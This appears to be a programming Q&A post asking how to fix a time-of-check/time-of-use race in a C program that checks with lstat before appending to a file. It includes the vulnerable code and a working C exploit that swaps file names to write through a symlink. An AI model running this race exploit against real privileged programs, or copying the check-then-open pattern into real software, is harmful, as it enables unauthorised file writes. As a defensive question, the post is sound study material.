title: Safe programming. How to avoid TOCTOU vulnerability when checking a file and then writing in it
body: <p>I have the following code <code>vuln.c</code>. This appends the desired input to a non link file.</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;sys/stat.h&gt;
  #include &lt;fcntl.h&gt;
  #include &lt;string.h&gt;
  
  int process_filename(char *filename)
  {
      struct stat aux_stat;
      char buffer[1024];
  
      printf("Input to be appended: ");
      fgets(buffer, sizeof(buffer), stdin);
  
      if ((lstat(filename, &amp;aux_stat) == 0) &amp;&amp; !S_ISLNK(aux_stat.st_mode))
      {
          printf("[+] Opening file %s...\n", filename);
          int fd = open(filename, O_RDWR | O_APPEND), nb;
          nb = write(fd, buffer, strlen(buffer));
          printf("[+] Done! %d bytes written to %s\n", nb, filename);
          return 0;
      } else
          printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);
  
      return 1;
  }
  
  int main(int argc, char * argv[])
  {
      if (argc != 2) {
          fprintf(stderr, "usage: %s filename\n", argv[0]);
          exit(1);
      }
  
      return process_filename(argv[1]);
  }
  </code></pre>
  
  <p>However, there is a TOCTOU vulnerability (Time-of-check Time-of-use). There is a check step where it's checked that the file is not a symbolic link. Later, there is a time window with the printf call, and finally the resource is used: the file is opened. In the time window, an attacker can modify the resource, and append the input to a link file, which potentially is not allowed. With the following code, we can exploit this vulnerability, and be able to write in a link.</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;unistd.h&gt;
  #include &lt;sys/stat.h&gt;
  #include &lt;fcntl.h&gt;
  #include &lt;string.h&gt;
  #include &lt;sys/stat.h&gt;
  #include &lt;sys/wait.h&gt;
  
  int main(int argc, char* argv[])
  {
      if (argc != 2) {
          printf("Number of parameters missmatch\n");
          return -1;
      }
  
      char *tmp_name = "_tmp"; // Name of the temp file
      char *nombre_link = argv[1]; // Link where it's wanted to write
      char *newenviron[] = { NULL };
      char *newargv[] = {"vuln", tmp_name, NULL}; // Args
      int pipe_fds[2]; // Pipe's array
      int filesize; 
      struct stat st;
  
      // Link's initial size to check changes
      stat(nombre_link, &amp;st);
      filesize = st.st_size;
  
      // Loop until it's written in the link
      while (st.st_size == filesize) {
          pipe(pipe_fds); 
          // Creates a normal "fake" file to pass the vulnerable code check
          fclose(fopen(tmp_name, "w"));
  
          int pid = fork();
          if (pid == -1) {
              printf("Error");
          } else if (pid == 0) {
              // Child
              close(pipe_fds[1]); 
              dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
              execve("vuln", newargv, newenviron); // Executes vulnerable binary
              exit(3); // Only if execve fails
          } else {
              // Parent
              close(pipe_fds[0]);
              write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
              printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
              remove(tmp_name); // Removes the fake file
              rename(nombre_link, tmp_name); // Renames link to the same name
              wait(0); // Waits for execution of the vulnerable binary
              close(pipe_fds[1]); 
              rename(tmp_name, nombre_link); // Returns name's link to its origin name
              stat(nombre_link, &amp;st); // Get link's stats to check if it has been written
          }
      }
      printf("Managed!\n");
      return 0;
  }
  </code></pre>
  
  <p>How could I safely programme the initial <code>vuln.c</code> code to avoid this TOCTOU vulnerability? I've tried to open first and once the resource, and then check that it isn't a link with <code>fstat</code> (which waits for a fd) instead of <code>lstat</code> (which waits for the vulnerable resource, the name of the file). However, when opening it, the file linked by the link is opened, and not the link. Thus, the check step is passed. I have also tried to use the <a href="https://www.gnu.org/software/findutils/manual/html_node/find_html/O_005fNOFOLLOW.html" rel="nofollow noreferrer">O_NOFOLLOW</a> flag, but it doesn't work either.</p>